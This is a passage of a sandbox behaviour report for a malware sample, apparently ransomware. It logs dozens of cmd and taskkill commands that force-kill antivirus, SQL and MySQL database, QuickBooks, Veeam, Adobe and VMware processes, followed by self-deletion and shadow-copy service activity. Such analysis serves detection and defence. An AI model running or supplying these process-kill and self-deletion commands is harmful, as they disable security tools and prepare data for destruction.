C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM RAgui*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2012
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM supervise*2⤵PID:1512
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM supervise*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1400
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Culture*2⤵PID:1500
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Culture*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:788
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Defwatch*2⤵PID:1424
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Defwatch*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:836
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM winword*2⤵PID:1112
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM winword*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1852
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM QBW32*2⤵PID:1908
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM QBW32*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1912
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM QBDBMgr*2⤵PID:468
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM QBDBMgr*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1808
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM qbupdate*2⤵PID:1360
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM qbupdate*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:772
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM axlbridge*2⤵PID:1644
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM axlbridge*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1952
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM httpd*2⤵PID:1980
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM httpd*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM fdlauncher*2⤵PID:2016
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM fdlauncher*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1272
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MsDtSrvr*2⤵PID:1460
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MsDtSrvr*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM java*2⤵PID:1560
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM java*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:800
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM 360se*2⤵PID:1052
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM 360se*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1108
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM 360doctor*2⤵PID:1044
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM 360doctor*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM wdswfsafe*2⤵PID:1868
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM wdswfsafe*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:760
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM fdhost*2⤵PID:1908
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM fdhost*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:564
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM GDscan*2⤵PID:1900
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM GDscan*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1368
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM ZhuDongFangYu*2⤵PID:1652
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM ZhuDongFangYu*3⤵
- Kills process with taskkill
PID:1616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM QBDBMgrN*2⤵PID:1984
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM QBDBMgrN*3⤵PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM mysqld*2⤵PID:1980
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM mysqld*3⤵
- Kills process with taskkill
PID:2032
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM AutodeskDesktopApp*2⤵PID:676
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM AutodeskDesktopApp*3⤵PID:1512
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM acwebbrowser*2⤵PID:1476
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM acwebbrowser*3⤵
- Kills process with taskkill
PID:1496
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Creative Cloud*2⤵PID:1540
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Creative Cloud*3⤵
- Kills process with taskkill
PID:744
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Adobe Desktop Service*2⤵PID:1108
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Adobe Desktop Service*3⤵PID:1876
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM CoreSync*2⤵PID:1848
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM CoreSync*3⤵
- Kills process with taskkill
PID:1044
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Adobe CEF Helper*2⤵PID:1828
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Adobe CEF Helper*3⤵
- Kills process with taskkill
PID:1904
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM node*2⤵PID:1372
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM node*3⤵
- Kills process with taskkill
PID:1808
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM AdobeIPCBroker*2⤵PID:1356
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM AdobeIPCBroker*3⤵
- Kills process with taskkill
PID:772
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM sync-taskbar*2⤵PID:1576
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM sync-taskbar*3⤵
- Kills process with taskkill
PID:1952
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM sync-worker*2⤵PID:1964
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM sync-worker*3⤵
- Kills process with taskkill
PID:2000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM InputPersonalization*2⤵PID:2036
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM InputPersonalization*3⤵
- Kills process with taskkill
PID:2040
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM AdobeCollabSync*2⤵PID:1516
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM AdobeCollabSync*3⤵PID:1000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM BrCtrlCntr*2⤵PID:784
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM BrCtrlCntr*3⤵
- Kills process with taskkill
PID:1060
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM BrCcUxSys*2⤵PID:1424
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM BrCcUxSys*3⤵
- Kills process with taskkill
PID:1232
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SimplyConnectionManager*2⤵PID:1876
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SimplyConnectionManager*3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Simply.SystemTrayIcon*2⤵PID:1044
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Simply.SystemTrayIcon*3⤵
- Kills process with taskkill
PID:760
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM fbguard*2⤵PID:660
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM fbguard*3⤵
- Kills process with taskkill
PID:1364
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM fbserver*2⤵PID:1372
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM fbserver*3⤵
- Kills process with taskkill
PID:876
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM ONENOTEM*2⤵PID:1360
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM ONENOTEM*3⤵PID:1632
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM wrapper*2⤵PID:1576
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM wrapper*3⤵
- Kills process with taskkill
PID:2020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM DefWatch*2⤵PID:1964
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM DefWatch*3⤵
- Kills process with taskkill
PID:1980
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM ccEvtMgr*2⤵PID:832
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM ccEvtMgr*3⤵PID:1568
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM ccSetMgr*2⤵PID:1460
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM ccSetMgr*3⤵
- Kills process with taskkill
PID:1500
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SavRoam*2⤵PID:784
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SavRoam*3⤵
- Kills process with taskkill
PID:1892
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Sqlservr*2⤵PID:1424
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Sqlservr*3⤵
- Kills process with taskkill
PID:1872
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM sqlagent*2⤵PID:1876
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM sqlagent*3⤵
- Kills process with taskkill
PID:1824
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM sqladhlp*2⤵PID:1856
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM sqladhlp*3⤵
- Kills process with taskkill
PID:580
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Culserver*2⤵PID:660
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Culserver*3⤵
- Kills process with taskkill
PID:340
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM RTVscan*2⤵PID:1368
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM RTVscan*3⤵PID:1580
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM sqlbrowser*2⤵PID:1360
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM sqlbrowser*3⤵
- Kills process with taskkill
PID:1956
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SQLADHLP*2⤵PID:1988
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SQLADHLP*3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM QBIDPService*2⤵PID:1964
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM QBIDPService*3⤵
- Kills process with taskkill
PID:1432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM Intuit.QuickBooks.FCS*2⤵PID:1512
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM Intuit.QuickBooks.FCS*3⤵
- Kills process with taskkill
PID:788
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM QBCFMonitorService*2⤵PID:1460
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM QBCFMonitorService*3⤵
- Kills process with taskkill
PID:1052
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM sqlwriter*2⤵PID:1540
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM sqlwriter*3⤵
- Kills process with taskkill
PID:1832
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM msmdsrv*2⤵PID:1424
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM msmdsrv*3⤵
- Kills process with taskkill
PID:1868
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM tomcat6*2⤵PID:1820
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM tomcat6*3⤵PID:1352
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM zhudongfangyu*2⤵PID:1908
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM zhudongfangyu*3⤵
- Kills process with taskkill
PID:1524
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM vmware-usbarbitator64*2⤵PID:660
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM vmware-usbarbitator64*3⤵
- Kills process with taskkill
PID:1552
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM vmware-converter*2⤵PID:1368
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM vmware-converter*3⤵
- Kills process with taskkill
PID:1984
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM dbsrv12*2⤵PID:1960
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM dbsrv12*3⤵
- Kills process with taskkill
PID:2016
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM dbeng8*2⤵PID:1988
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM dbeng8*3⤵
- Kills process with taskkill
PID:1344
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*2⤵PID:1964
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQL$MICROSOFT##WID*3⤵PID:1560
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQL$VEEAMSQL2012*2⤵PID:1476
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQL$VEEAMSQL2012*3⤵
- Kills process with taskkill
PID:1056
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SQLAgent$VEEAMSQL2012*2⤵PID:624
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SQLAgent$VEEAMSQL2012*3⤵
- Kills process with taskkill
PID:572
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SQLBrowser*2⤵PID:1540
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SQLBrowser*3⤵
- Kills process with taskkill
PID:1904
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SQLWriter*2⤵PID:1816
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SQLWriter*3⤵
- Kills process with taskkill
PID:520
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM FishbowlMySQL*2⤵PID:1808
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM FishbowlMySQL*3⤵
- Kills process with taskkill
PID:772
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*2⤵PID:568
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQL$MICROSOFT##WID*3⤵PID:1652
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MySQL57*2⤵PID:1952
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MySQL57*3⤵
- Kills process with taskkill
PID:1944
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*2⤵PID:2000
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*3⤵
- Kills process with taskkill
PID:2012
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQLServerADHelper100*2⤵PID:1960
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQLServerADHelper100*3⤵
- Kills process with taskkill
PID:1492
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*2⤵PID:1988
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*3⤵
- Kills process with taskkill
PID:1604
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM msftesql-Exchange*2⤵PID:1964
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM msftesql-Exchange*3⤵
- Kills process with taskkill
PID:744
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*2⤵PID:1628
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQL$MICROSOFT##SSEE*3⤵
- Kills process with taskkill
PID:1036
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQL$SBSMONITORING*2⤵PID:624
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQL$SBSMONITORING*3⤵PID:1852
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQL$SHAREPOINT*2⤵PID:1880
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQL$SHAREPOINT*3⤵
- Kills process with taskkill
PID:1820
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*2⤵PID:1816
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*3⤵
- Kills process with taskkill
PID:876
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*2⤵PID:620
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*3⤵
- Kills process with taskkill
PID:660
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SQLAgent$SBSMONITORING*2⤵PID:1632
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SQLAgent$SBSMONITORING*3⤵
- Kills process with taskkill
PID:1940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM SQLAgent$SHAREPOINT*2⤵PID:1168
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM SQLAgent$SHAREPOINT*3⤵
- Kills process with taskkill
PID:1320
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM QBFCService*2⤵PID:2000
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM QBFCService*3⤵
- Kills process with taskkill
PID:1400
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM QBVSS*2⤵PID:1480
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM QBVSS*3⤵
- Kills process with taskkill
PID:1060
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C timeout /T 15 /NOBREAK && del "C:\Users\Admin\AppData\Local\Temp\f4009abe9f41da41e48340c96e29d62c.exe" /F2⤵
- Deletes itself
PID:1388 -
C:\Windows\SysWOW64\timeout.exetimeout /T 15 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:1432
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1772